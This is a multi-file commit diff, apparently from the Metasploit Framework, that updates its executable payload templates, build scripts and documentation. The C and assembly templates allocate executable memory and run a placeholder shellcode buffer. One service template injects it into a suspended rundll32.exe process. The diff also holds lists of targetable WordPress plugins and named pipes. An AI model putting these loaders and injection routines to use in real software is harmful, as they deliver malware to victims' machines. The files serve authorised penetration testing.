db 0, 0, 0, 0, 0, 0, 0, 0 ;
dw 2 ; e_type = ET_EXEC for an executable
dw 0x3e ; e_machine
dd 1 ; e_version
dq _start ; e_entry
dq phdr - $$ ; e_phoff
dq 0 ; e_shoff
dd 0 ; e_flags
dw ehdrsize ; e_ehsize
dw phdrsize ; e_phentsize
dw 1 ; e_phnum
dw 0 ; e_shentsize
dw 0 ; e_shnum
dw 0 ; e_shstrndx
ehdrsize equ $ - ehdr
phdr: ; Elf64_Phdr
dd 1 ; p_type = PT_LOAD
dd 7 ; p_flags = rwx
dq 0 ; p_offset
dq $$ ; p_vaddr
dq $$ ; p_paddr
dq 0x4141414141414141 ; p_filesz
dq 0x4242424242424242 ; p_memsz
dq 0x1000 ; p_align
phdrsize equ $ - phdr
global _start
_start:
+2 -2
View File
@@ -1,8 +1,8 @@
# PE Source Code
This directory contains the source code for the PE executable templates.
## Building DLLs
Use the provided `build_dlls.bat` file, and run it from within the Visual Studio
## Building
Use the provided `build_all.bat` file, and run it from within the Visual Studio
developer console. The batch file requires that the `%VCINSTALLDIR%` environment
variable be defined (which it should be by default). The build script will
create both the x86 and x64 templates before moving them into the correct
+17
View File
@@ -0,0 +1,17 @@
@echo off
echo Compiling DLLs
for /D %%d in (dll*) do (
pushd "%%d"
call build.bat
popd
)
echo Compiling EXEs
for /D %%e in (exe*) do (
pushd "%%e"
call build.bat
popd
)
-7
View File
@@ -1,7 +0,0 @@
@echo off
for /D %%d in (dll*) do (
pushd "%%d"
build.bat
popd
)
@@ -3,6 +3,7 @@
if "%~1"=="" GOTO NO_ARGUMENTS
echo Compiling for: %1
call "%VCINSTALLDIR%Auxiliary\Build\vcvarsall.bat" %1
rem mscoree.lib requires .NET SDK to be installed, add it as a Visual Studio component
cl /CLR /LD /GS- /I ..\dll /DBUILDMODE=2 template.cpp /Fe:template_%1_windows_mixed_mode.dll /link mscoree.lib kernel32.lib /entry:DllMain /subsystem:WINDOWS
cl /CLR /LD /GS- /I ..\dll /DBUILDMODE=2 /DSCSIZE=262144 template.cpp /Fe:template_%1_windows_mixed_mode.256kib.dll /link mscoree.lib kernel32.lib /entry:DllMain /subsystem:WINDOWS
exit /B
+13
View File
@@ -0,0 +1,13 @@
@echo off
if "%~1"=="" GOTO NO_ARGUMENTS
echo Compiling for: %1
call "%VCINSTALLDIR%Auxiliary\Build\vcvarsall.bat" %1
cl /GS- template.c /Fe:template_%1_windows.exe /link kernel32.lib /entry:main /subsystem:WINDOWS /NODEFAULTLIB
exit /B
:NO_ARGUMENTS
%COMSPEC% /c "%0" x86
%COMSPEC% /c "%0" x64
del *.obj *.res
move *.exe ..\..\..
@@ -1,26 +0,0 @@
Microsoft Visual Studio Solution File, Format Version 10.00
# Visual C++ Express 2008
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "service", "service.vcproj", "{BED052CD-AD84-45E2-9F9D-2C1D8FE4813F}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Release|Win32 = Release|Win32
Release|x64 = Release|x64
Debug|Win32 = Debug|Win32
Debug|x64 = Debug|x64
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{BED052CD-AD84-45E2-9F9D-2C1D8FE4813F}.Release|Win32.ActiveCfg = Release|Win32
{BED052CD-AD84-45E2-9F9D-2C1D8FE4813F}.Release|Win32.Build.0 = Release|Win32
{BED052CD-AD84-45E2-9F9D-2C1D8FE4813F}.Release|x64.ActiveCfg = Release|x64
{BED052CD-AD84-45E2-9F9D-2C1D8FE4813F}.Release|x64.Build.0 = Release|x64
{BED052CD-AD84-45E2-9F9D-2C1D8FE4813F}.Debug|Win32.ActiveCfg = Release|Win32
{BED052CD-AD84-45E2-9F9D-2C1D8FE4813F}.Debug|Win32.Build.0 = Release|Win32
{BED052CD-AD84-45E2-9F9D-2C1D8FE4813F}.Debug|x64.ActiveCfg = Debug|x64
{BED052CD-AD84-45E2-9F9D-2C1D8FE4813F}.Debug|x64.Build.0 = Debug|x64
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
EndGlobal
@@ -1,343 +0,0 @@
<?xml version="1.0" encoding="Windows-1252"?>
<VisualStudioProject
ProjectType="Visual C++"
Version="9.00"
Name="service"
ProjectGUID="{BED052CD-AD84-45E2-9F9D-2C1D8FE4813F}"
RootNamespace="service"
Keyword="Win32Proj"
TargetFrameworkVersion="196613"
>
<Platforms>
<Platform
Name="Win32"
/>
<Platform
Name="x64"
/>
</Platforms>
<ToolFiles>
</ToolFiles>
<Configurations>
<Configuration
Name="Debug|Win32"
OutputDirectory="$(SolutionDir)$(ConfigurationName)"
IntermediateDirectory="$(ConfigurationName)"
ConfigurationType="1"
CharacterSet="1"
>
<Tool
Name="VCPreBuildEventTool"
/>
<Tool
Name="VCCustomBuildTool"
/>
<Tool
Name="VCXMLDataGeneratorTool"
/>
<Tool
Name="VCWebServiceProxyGeneratorTool"
/>
<Tool
Name="VCMIDLTool"
/>
<Tool
Name="VCCLCompilerTool"
Optimization="0"
PreprocessorDefinitions="WIN32;_DEBUG;_WINDOWS"
MinimalRebuild="true"
BasicRuntimeChecks="3"
RuntimeLibrary="3"
UsePrecompiledHeader="0"
WarningLevel="3"
DebugInformationFormat="4"
/>
<Tool
Name="VCManagedResourceCompilerTool"
/>
<Tool
Name="VCResourceCompilerTool"
/>
<Tool
Name="VCPreLinkEventTool"
/>
<Tool
Name="VCLinkerTool"
LinkIncremental="2"
GenerateDebugInformation="true"
SubSystem="2"
TargetMachine="1"
/>
<Tool
Name="VCALinkTool"
/>
<Tool
Name="VCManifestTool"
/>
<Tool
Name="VCXDCMakeTool"
/>
<Tool
Name="VCBscMakeTool"
/>
<Tool
Name="VCFxCopTool"
/>
<Tool
Name="VCAppVerifierTool"
/>
<Tool
Name="VCPostBuildEventTool"
/>
</Configuration>
<Configuration
Name="Debug|x64"
OutputDirectory="$(SolutionDir)$(PlatformName)\$(ConfigurationName)"
IntermediateDirectory="$(PlatformName)\$(ConfigurationName)"
ConfigurationType="1"
CharacterSet="1"
>
<Tool
Name="VCPreBuildEventTool"
/>
<Tool
Name="VCCustomBuildTool"
/>
<Tool
Name="VCXMLDataGeneratorTool"
/>
<Tool
Name="VCWebServiceProxyGeneratorTool"
/>
<Tool
Name="VCMIDLTool"
TargetEnvironment="3"
/>
<Tool
Name="VCCLCompilerTool"
Optimization="0"
PreprocessorDefinitions="WIN32;_DEBUG;_WINDOWS"
MinimalRebuild="true"
BasicRuntimeChecks="3"
RuntimeLibrary="3"
UsePrecompiledHeader="0"
WarningLevel="3"
DebugInformationFormat="3"
/>
<Tool
Name="VCManagedResourceCompilerTool"
/>
<Tool
Name="VCResourceCompilerTool"
/>
<Tool
Name="VCPreLinkEventTool"
/>
<Tool
Name="VCLinkerTool"
LinkIncremental="2"
GenerateDebugInformation="true"
SubSystem="2"
TargetMachine="17"
/>
<Tool
Name="VCALinkTool"
/>
<Tool
Name="VCManifestTool"
/>
<Tool
Name="VCXDCMakeTool"
/>
<Tool
Name="VCBscMakeTool"
/>
<Tool
Name="VCFxCopTool"
/>
<Tool
Name="VCAppVerifierTool"
/>
<Tool
Name="VCPostBuildEventTool"
/>
</Configuration>
<Configuration
Name="Release|Win32"
OutputDirectory="$(SolutionDir)$(ConfigurationName)"
IntermediateDirectory="$(ConfigurationName)"
ConfigurationType="1"
CharacterSet="2"
WholeProgramOptimization="1"
>
<Tool
Name="VCPreBuildEventTool"
/>
<Tool
Name="VCCustomBuildTool"
/>
<Tool
Name="VCXMLDataGeneratorTool"
/>
<Tool
Name="VCWebServiceProxyGeneratorTool"
/>
<Tool
Name="VCMIDLTool"
/>
<Tool
Name="VCCLCompilerTool"
Optimization="1"
EnableIntrinsicFunctions="true"
FavorSizeOrSpeed="2"
PreprocessorDefinitions="WIN32;NDEBUG;_WINDOWS"
RuntimeLibrary="0"
BufferSecurityCheck="false"
EnableFunctionLevelLinking="true"
UsePrecompiledHeader="0"
WarningLevel="3"
DebugInformationFormat="3"
CallingConvention="2"
CompileAs="1"
/>
<Tool
Name="VCManagedResourceCompilerTool"
/>
<Tool
Name="VCResourceCompilerTool"
/>
<Tool
Name="VCPreLinkEventTool"
/>
<Tool
Name="VCLinkerTool"
OutputFile="../../../../service.exe"
LinkIncremental="1"
GenerateManifest="false"
GenerateDebugInformation="false"
SubSystem="2"
OptimizeReferences="2"
EnableCOMDATFolding="2"
TargetMachine="1"
/>
<Tool
Name="VCALinkTool"
/>
<Tool
Name="VCManifestTool"
/>
<Tool
Name="VCXDCMakeTool"
/>
<Tool
Name="VCBscMakeTool"
/>
<Tool
Name="VCFxCopTool"
/>
<Tool
Name="VCAppVerifierTool"
/>
<Tool
Name="VCPostBuildEventTool"
/>
</Configuration>
<Configuration
Name="Release|x64"
OutputDirectory="$(SolutionDir)$(PlatformName)\$(ConfigurationName)"
IntermediateDirectory="$(PlatformName)\$(ConfigurationName)"
ConfigurationType="1"
CharacterSet="2"
WholeProgramOptimization="1"
>
<Tool
Name="VCPreBuildEventTool"
/>
<Tool
Name="VCCustomBuildTool"
/>
<Tool
Name="VCXMLDataGeneratorTool"
/>
<Tool
Name="VCWebServiceProxyGeneratorTool"
/>
<Tool
Name="VCMIDLTool"
TargetEnvironment="3"
/>
<Tool
Name="VCCLCompilerTool"
Optimization="1"
EnableIntrinsicFunctions="true"
FavorSizeOrSpeed="2"
PreprocessorDefinitions="WIN32;NDEBUG;_WINDOWS"
RuntimeLibrary="0"
BufferSecurityCheck="false"
EnableFunctionLevelLinking="true"
UsePrecompiledHeader="0"
WarningLevel="3"
DebugInformationFormat="3"
CallingConvention="2"
CompileAs="1"
/>
<Tool
Name="VCManagedResourceCompilerTool"
/>
<Tool
Name="VCResourceCompilerTool"
/>
<Tool
Name="VCPreLinkEventTool"
/>
<Tool
Name="VCLinkerTool"
OutputFile="../../../../template_x64_windows_svc.exe"
LinkIncremental="1"
GenerateManifest="false"
GenerateDebugInformation="false"
SubSystem="2"
OptimizeReferences="2"
EnableCOMDATFolding="2"
TargetMachine="17"
/>
<Tool
Name="VCALinkTool"
/>
<Tool
Name="VCManifestTool"
/>
<Tool
Name="VCXDCMakeTool"
/>
<Tool
Name="VCBscMakeTool"
/>
<Tool
Name="VCFxCopTool"
/>
<Tool
Name="VCAppVerifierTool"
/>
<Tool
Name="VCPostBuildEventTool"
/>
</Configuration>
</Configurations>
<References>
</References>
<Files>
<Filter
Name="Source Files"
Filter="cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx"
UniqueIdentifier="{4FC737F1-C7A5-4376-A066-2A32D752A2FF}"
>
<File
RelativePath=".\service.c"
>
</File>
</Filter>
</Files>
<Globals>
</Globals>
</VisualStudioProject>
+7 -7
View File
@@ -1,11 +1,11 @@
#include <stdio.h>
#include <windows.h>
#define SCSIZE 4096
char payload[SCSIZE] = "PAYLOAD:";
char bPayload[SCSIZE] = "PAYLOAD:";
char comment[512] = "";
int main(int argc, char **argv) {
(*(void (*)()) payload)();
return(0);
void main() {
DWORD dwOldProtect;
VirtualProtect(bPayload, SCSIZE, PAGE_EXECUTE_READWRITE, &dwOldProtect);
(*(void (*)()) bPayload)();
return;
}
File diff suppressed because one or more lines are too long
@@ -0,0 +1,98 @@
;
; A minimal AArch64 PE template for Metasploit shellcode
; Author: Alexander 'xaitax' Hagenah
;
; --- Compilation (Microsoft Visual Studio Build Tools) ---
; 1. Assemble:
; armasm64.exe -o template_aarch64_windows.obj template_aarch64_windows.asm
;
; 2. Link:
; LINK.exe template_aarch64_windows.obj /SUBSYSTEM:WINDOWS /ENTRY:main /NODEFAULTLIB kernel32.lib /OUT:template_aarch64_windows.exe
;
;
; --- Cross Compilation (Microsoft Visual Studio Build Tools) ---
; 1. Locate Cross Compiler Tools and Libraries
; In this case: C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.44.35207\bin\Hostx64\arm64\
; And: C:\Program Files (x86)\Windows Kits\10\Lib\10.0.26100.0\um\arm64
; 2. Assemble:
; "C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.44.35207\bin\Hostx64\arm64\armasm64.exe" -o template_aarch64_windows.obj template_aarch64_windows.asm
; 3. Link:
; "C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.44.35207\bin\Hostx64\arm64\link.exe" template_aarch64_windows.obj /LIBPATH:"C:\Program Files (x86)\Windows Kits\10\Lib\10.0.26100.0\um\arm64" /MACHINE:ARM64 /SUBSYSTEM:WINDOWS /ENTRY:main /NODEFAULTLIB kernel32.lib /OUT:template_aarch64_windows.exe
AREA |.text|, CODE, READONLY
; Import the Win32 functions we need from kernel32.dll
IMPORT VirtualAlloc
IMPORT VirtualProtect
IMPORT ExitProcess
; Define constants for Win32 API calls
SCSIZE EQU 4096
MEM_COMMIT EQU 0x1000
PAGE_READWRITE EQU 0x04
PAGE_EXECUTE EQU 0x10
; Export the entry point of our program
EXPORT main
main
; Allocate space on the stack for the oldProtection variable (DWORD)
sub sp, sp, #16
; --- 1. Allocate executable memory ---
; hfRet = VirtualAlloc(NULL, SCSIZE, MEM_COMMIT, PAGE_READWRITE);
mov x0, #0
mov x1, #SCSIZE
mov x2, #MEM_COMMIT
mov x3, #PAGE_READWRITE
ldr x8, =VirtualAlloc
blr x8
; Check if VirtualAlloc failed. If so, exit.
cbz x0, exit_fail
; Save the pointer to our new executable buffer in a non-volatile register
mov x19, x0
; --- 2. Copy the payload into the new buffer ---
; This is a simple memcpy(dest, src, size)
mov x0, x19 ; x0 = dest = our new buffer
ldr x1, =payload_buffer ; x1 = src = the payload in our .data section
mov x2, #SCSIZE ; x2 = count
copy_loop
ldrb w3, [x1], #1 ; Load byte from src, increment src pointer
strb w3, [x0], #1 ; Store byte to dest, increment dest pointer
subs x2, x2, #1 ; Decrement counter
b.ne copy_loop ; Loop if not zero
; --- 3. Change memory permissions to executable ---
; VirtualProtect(hfRet, SCSIZE, PAGE_EXECUTE, &dwOldProtect);
mov x0, x19 ; x0 = buffer address
mov x1, #SCSIZE ; x1 = size
mov x2, #PAGE_EXECUTE ; x2 = new protection
mov x3, sp ; x3 = pointer to oldProtection on the stack
ldr x8, =VirtualProtect
blr x8
; --- 4. Execute the payload ---
; Jump to the shellcode we just copied and protected.
blr x19
exit_success
; Shellcode returned, or we are done. Exit cleanly.
mov x0, #0 ; Exit code 0
ldr x8, =ExitProcess
blr x8
exit_fail
; Something went wrong. Exit with code 1.
mov x0, #1
ldr x8, =ExitProcess
blr x8
; The data section where the payload will be located.
; The 'PAYLOAD:' tag must be at the very beginning of this buffer.
payload_buffer
DCB "PAYLOAD:"
SPACE SCSIZE - 8 ; Reserve the rest of the 4096 bytes
END
@@ -0,0 +1,69 @@
// AArch64 PE EXE Template for Metasploit Framework
//
// -----------------------------------------------------------------------------
//
// Compilation Instructions:
//
// Using MSVC on a Windows ARM64 Host:
//
// cl.exe /nologo /O2 /W3 /GS- /D_WIN64 template_aarch64_windows.c /link ^
// /subsystem:windows /machine:arm64 /entry:main ^
// /out:template_aarch64_windows.exe kernel32.lib
//
// -----------------------------------------------------------------------------
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#undef WIN32_LEAN_AND_MEAN
#define PAYLOAD_MARKER "PAYLOAD:"
#define SCSIZE 8192
char payload[SCSIZE] = PAYLOAD_MARKER;
int main(void)
{
void *exec_mem;
DWORD old_prot;
HANDLE hThread;
// Stage 1: Allocate a block of memory. We request READWRITE permissions
// initially so we can copy our payload into it.
exec_mem = VirtualAlloc(NULL, SCSIZE, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (exec_mem == NULL)
{
// Fail silently if allocation fails.
return 1;
}
// Stage 2: Copy the payload from our data section into the new memory block.
// A simple loop is used for maximum compiler compatibility and to avoid
// needing extra headers like <string.h> for memcpy.
for (int i = 0; i < SCSIZE; i++)
{
((char *)exec_mem)[i] = payload[i];
}
// Stage 3: Change the memory's protection flags from READWRITE to
// EXECUTE_READ.
if (VirtualProtect(exec_mem, SCSIZE, PAGE_EXECUTE_READ, &old_prot) == FALSE)
{
// Fail silently if we cannot make the memory executable.
return 1;
}
// Stage 4: Execute the shellcode.
hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)exec_mem, NULL, 0, NULL);
if (hThread)
{
WaitForSingleObject(hThread, INFINITE);
CloseHandle(hThread);
}
else
{
// As a fallback in case CreateThread fails, call the shellcode directly.
((void (*)())exec_mem)();
}
return 0;
}
@@ -1,32 +0,0 @@
; Author: Stephen Fewer (stephen_fewer[at]harmonysecurity[dot]com)
; Architecture: x64
;
; Assemble and link with the following command:
; "C:\Program Files\Microsoft Visual Studio 9.0\VC\bin\x86_amd64\ml64" template_x64_windows.asm /link /subsystem:windows /defaultlib:"C:\Program Files\Microsoft SDKs\Windows\v6.0A\Lib\x64\kernel32.lib" /entry:main
extrn ExitProcess : proc
extrn VirtualAlloc : proc
.code
main proc
sub rsp, 40 ;
mov r9, 40h ;
mov r8, 3000h ;
mov rdx, 4096 ;
xor rcx, rcx ;
call VirtualAlloc ; lpPayload = VirtualAlloc( NULL, 4096, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE );
mov rcx, 4096 ;
mov rsi, payload ;
mov rdi, rax ;
rep movsb ; memcpy( lpPayload, payload, 4096 );
call rax ; lpPayload();
xor rcx, rcx ;
call ExitProcess ; ExitProcess( 0 );
main endp
payload proc
A byte 'PAYLOAD:'
B db 4096-8 dup ( 0 )
payload endp
end
@@ -0,0 +1,13 @@
@echo off
if "%~1"=="" GOTO NO_ARGUMENTS
echo Compiling for: %1
call "%VCINSTALLDIR%Auxiliary\Build\vcvarsall.bat" %1
cl /GS- /DBUILDMODE=2 template.c /Fe:template_%1_windows_svc.exe /link advapi32.lib kernel32.lib /entry:main /subsystem:WINDOWS /NODEFAULTLIB
exit /B
:NO_ARGUMENTS
%COMSPEC% /c "%0" x86
%COMSPEC% /c "%0" x64
del *.obj *.res
move *.exe ..\..\..
@@ -1,16 +1,28 @@
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#define PAYLOAD_SIZE 8192
#define SCSIZE 8192
char cServiceName[32] = "SERVICENAME";
char bPayload[PAYLOAD_SIZE] = "PAYLOAD:";
char bPayload[SCSIZE] = "PAYLOAD:";
SERVICE_STATUS ss;
SERVICE_STATUS_HANDLE hStatus = NULL;
#if BUILDMODE == 2
/* hand-rolled bzero allows us to avoid including ms vc runtime */
void inline_bzero(void *p, size_t l)
{
BYTE *q = (BYTE *)p;
size_t x = 0;
for (x = 0; x < l; x++)
*(q++) = 0x00;
}
#endif
/*
*
*/
@@ -34,9 +46,9 @@ VOID ServiceMain( DWORD dwNumServicesArgs, LPSTR * lpServiceArgVectors )
PROCESS_INFORMATION pi;
LPVOID lpPayload = NULL;
ZeroMemory( &ss, sizeof(SERVICE_STATUS) );
ZeroMemory( &si, sizeof(STARTUPINFO) );
ZeroMemory( &pi, sizeof(PROCESS_INFORMATION) );
inline_bzero( &ss, sizeof(SERVICE_STATUS) );
inline_bzero( &si, sizeof(STARTUPINFO) );
inline_bzero( &pi, sizeof(PROCESS_INFORMATION) );
si.cb = sizeof(STARTUPINFO);
@@ -47,7 +59,7 @@ VOID ServiceMain( DWORD dwNumServicesArgs, LPSTR * lpServiceArgVectors )
ss.dwControlsAccepted = SERVICE_ACCEPT_STOP|SERVICE_ACCEPT_SHUTDOWN;
hStatus = RegisterServiceCtrlHandler( (LPCSTR)&cServiceName, (LPHANDLER_FUNCTION)ServiceHandler );
if ( hStatus )
{
ss.dwCurrentState = SERVICE_RUNNING;
@@ -57,30 +69,30 @@ VOID ServiceMain( DWORD dwNumServicesArgs, LPSTR * lpServiceArgVectors )
if( CreateProcess( NULL, "rundll32.exe", NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi ) )
{
Context.ContextFlags = CONTEXT_FULL;
GetThreadContext( pi.hThread, &Context );
lpPayload = VirtualAllocEx( pi.hProcess, NULL, PAYLOAD_SIZE, MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE );
lpPayload = VirtualAllocEx( pi.hProcess, NULL, SCSIZE, MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE );
if( lpPayload )
{
WriteProcessMemory( pi.hProcess, lpPayload, &bPayload, PAYLOAD_SIZE, NULL );
WriteProcessMemory( pi.hProcess, lpPayload, &bPayload, SCSIZE, NULL );
#ifdef _WIN64
Context.Rip = (DWORD64)lpPayload;
Context.Rip = (ULONG_PTR)lpPayload;
#else
Context.Eip = (DWORD)lpPayload;
Context.Eip = (ULONG_PTR)lpPayload;
#endif
SetThreadContext( pi.hThread, &Context );
}
ResumeThread( pi.hThread );
CloseHandle( pi.hThread );
CloseHandle( pi.hProcess );
}
ServiceHandler( SERVICE_CONTROL_STOP );
ExitProcess( 0 );
}
}
@@ -88,12 +100,13 @@ VOID ServiceMain( DWORD dwNumServicesArgs, LPSTR * lpServiceArgVectors )
/*
*
*/
int __stdcall WinMain( HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow )
void main()
{
SERVICE_TABLE_ENTRY st[] =
{
{ (LPSTR)&cServiceName, (LPSERVICE_MAIN_FUNCTIONA)&ServiceMain },
{ NULL, NULL }
};
return StartServiceCtrlDispatcher( (SERVICE_TABLE_ENTRY *)&st );
SERVICE_TABLE_ENTRY st[] =
{
{ (LPSTR)&cServiceName, (LPSERVICE_MAIN_FUNCTIONA)&ServiceMain },
{ NULL, NULL }
};
StartServiceCtrlDispatcher( (SERVICE_TABLE_ENTRY *)&st );
return;
}
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
+1
View File
@@ -23,3 +23,4 @@ W32TIME_ALT
wkssvc
PIPE_EVENTROOT\CIMV2SCM EVENT PROVIDER
db2remotecmd
CxUIUSvcChannel
+9 -6
View File
@@ -8,6 +8,7 @@ bulletproof-security
catch-themes-demo-import
chopslider
custom-registration-form-builder-with-submission-manager
depicter
download-manager
drag-and-drop-multiple-file-upload-contact-form-7
dukapress
@@ -26,7 +27,6 @@ learnpress
loginizer
masterstudy-lms-learning-management-system
modern-events-calendar-lite
modern-events-calendar-lite
nextgen-gallery
ninja-forms
paid-memberships-pro
@@ -45,7 +45,11 @@ simple-file-list
slideshow-gallery
sp-client-document-manager
subscribe-to-comments
suretriggers
tatsu
ultimate-member
user-registration
user-registration-pro
website-contact-form-with-file-upload
woocommerce-abandoned-cart
woocommerce-payments
@@ -53,18 +57,17 @@ wordpress-mobile-pack
wordpress-popular-posts
work-the-flow-file-upload
wp-automatic
wpdiscuz
wp-easycart
wp-fastest-cache
wp-file-manager
wp-gdpr-compliance
wp-mobile-detector
wp-mobile-edition
wp-symposium
wp-symposium
wp-time-capsule
wp-ultimate-csv-importer
wpdiscuz
wps-hide-login
wpshop
wp-symposium
wp-time-capsule
wptouch
wp-ultimate-csv-importer
wysija-newsletters
+44416 -9824
View File
File diff suppressed because it is too large Load Diff
+1 -2
View File
@@ -10,7 +10,7 @@
#
# It's strongly recommended that you check this file into your version control system.
ActiveRecord::Schema[7.0].define(version: 2025_02_04_172657) do
ActiveRecord::Schema[7.2].define(version: 2025_02_04_172657) do
# These are extensions that must be enabled in order to support this database
enable_extension "plpgsql"
@@ -803,5 +803,4 @@ ActiveRecord::Schema[7.0].define(version: 2025_02_04_172657) do
t.boolean "limit_to_network", default: false, null: false
t.boolean "import_fingerprint", default: false
end
end
+1 -1
View File
@@ -1 +1 @@
3.2.5
3.3.8
+1 -1
View File
@@ -1 +1 @@
Metasploit Documentation
<img src="{{ '/assets/images/metasploit-logo-dark-external-use.svg' | relative_url }}" alt="Metasploit Logo" class="title-logo" />
+3 -3
View File
@@ -17,7 +17,7 @@ module Rouge
SHORTNAME = 'z'
token :Msf, SHORTNAME do
# prompt - msf / msf5 / msf6 / meterpreter
# prompt - msf / meterpreter
token :Prompt, "#{SHORTNAME}p"
# [-]
token :Error, "#{SHORTNAME}e"
@@ -49,7 +49,7 @@ module Rouge
state :root do
mixin :whitespace
# Match msf, msf5, msf6, meterpreter
# Match msf, meterpreter
rule %r{^(msf\d?|meterpreter)}, Tokens::Msf::Prompt, :msf_prompt
rule %r{^\[-\]}, Tokens::Msf::Error
rule %r{^\[\+\]}, Tokens::Msf::Good
@@ -59,7 +59,7 @@ module Rouge
end
# State for highlighting the prompt such as
# msf6 auxiliary(admin/dcerpc/cve_2022_26923_certifried) >
# msf auxiliary(admin/dcerpc/cve_2022_26923_certifried) >
state :msf_prompt do
mixin :whitespace
+5
View File
@@ -5,6 +5,11 @@
text-align: justify;
}
/* Site logo */
.title-logo {
width: 220px;
}
/* Color highlighting for msf console text */
.language-mermaid .label {
text-transform: inherit;
File diff suppressed because one or more lines are too long

After

Width:  |  Height:  |  Size: 13 KiB

+24 -4
View File
@@ -1,18 +1,38 @@
# Chat
# Primary Communication Channels
A lot of our discussion happens on IRC in #metasploit on Freenode.
## GitHub Discussions
For community support, questions, and general discussion, visit our [GitHub Discussions](https://github.com/rapid7/metasploit-framework/discussions).
## Slack
Join the [Metasploit Slack](https://join.slack.com/t/metasploit/shared_invite/zt-30i688it0-mJsFGT44IMtdeZi1DraamQ) for real-time chat with the community and developers.
## GitHub Issues
Submit bug reports and feature requests through [GitHub Issues](https://github.com/rapid7/metasploit-framework/issues).
# Additional Communication Channels
## Chat
Some community discussion still happens on IRC in #metasploit on Freenode.
Please be patient and hang around for a while -- not everyone is awake
at the same time as you. =)
# Mailing list
## Mailing list
The Metasploit development mailing list used to be hosted on SourceForge, but is now on Google Groups. Metasploit Hackers is dead, long live [Metasploit Hackers][list]. (Or [mailto:Metasploit Hackers][mailto]).
The old list [is archived on seclists.org][archive].
## Social Media
- **X**: [@metasploit](https://x.com/metasploit)
- **Mastodon**: [@metasploit@infosec.exchange](https://infosec.exchange/@metasploit)
- **Blog**: [Rapid7 Blog - Metasploit Tag](https://www.rapid7.com/blog/tag/metasploit/)
- **YouTube**: [Metasploit YouTube](https://youtube.com/@MetasploitR7)
# Abuse
Instances of abusive, harassing, or otherwise unacceptable behavior may be reported to msfdev@metasploit.com which goes to all the current committers. If the incident involves a committer, you may report directly to caitlin_condon@rapid7.com or todb@metasploit.com.
Instances of abusive, harassing, or otherwise unacceptable behavior may be reported to msfdev@metasploit.com which goes to all the current committers. If the incident involves a committer, you may report directly to smcintyre@metasploit.com or jacquelyn_harris@rapid7.com.
[archive]: http://seclists.org/metasploit/ "Metasploit mailing list archive"
@@ -85,7 +85,7 @@ Additionally any information about caveats, scenarios you have tested, custom op
should also go into this file.
## Checking Documentation Syntax
Once you have written the documentation, you then want to run `toos/dev/msftidy_docs.rb <path to documentation file>`. This will report on any
Once you have written the documentation, you then want to run `tools/dev/msftidy_docs.rb <path to documentation file>`. This will report on any
errors with your documentation file, which you will want to fix before submitting your PR. Notice however that if you get a warning about long lines,
these may be okay to ignore depending on the context. A good example is if a line is long merely because of a URL. Such warnings can be
safely ignored.
@@ -10,28 +10,40 @@ Updates are released about once every other week for Windows and Linux.
The pgp signatures below can be verified with the following [public key](https://pgp.mit.edu/pks/lookup?op=get&search=0xCDFB5FA52007B954)
|Download Link|File Type|SHA1|PGP|
|-|-|-|-|
| [metasploit-4.22.2-windows-x64-installer.exe](https://downloads.metasploit.com/data/releases/metasploit-latest-windows-x64-installer.exe) | Windows 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/metasploit-latest-windows-x64-installer.exe.sha1) | [PGP](https://downloads.metasploit.com/data/releases/metasploit-latest-windows-x64-installer.exe.asc)|
| [metasploit-4.22.2-windows-x64-installer.exe](https://downloads.metasploit.com/data/releases/metasploit-latest-windows-x64-installer.exe) | Windows 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/metasploit-latest-windows-x64-installer.exe.sha1) | [PGP](https://downloads.metasploit.com/data/releases/metasploit-latest-windows-x64-installer.exe.asc)|
| [metasploit-4.22.1-windows-x64-installer.exe](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.1-2023071701-windows-x64-installer.exe) | Windows 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.1-2023071701-windows-x64-installer.exe.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.1-2023071701-windows-x64-installer.exe.asc)|
| [metasploit-4.22.1-linux-x64-installer.run](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.1-2023071701-linux-x64-installer.run) | Linux 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.1-2023071701-linux-x64-installer.run.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.1-2023071701-linux-x64-installer.run.asc)|
| [metasploit-4.22.0-windows-x64-installer.exe](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.0-2023050901-windows-x64-installer.exe) | Windows 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.0-2023050901-windows-x64-installer.exe.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.0-2023050901-windows-x64-installer.exe.asc)|
| [metasploit-4.22.0-linux-x64-installer.run](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.0-2023050901-linux-x64-installer.run) | Linux 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.0-2023050901-linux-x64-installer.run.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.0-2023050901-linux-x64-installer.run.asc)|
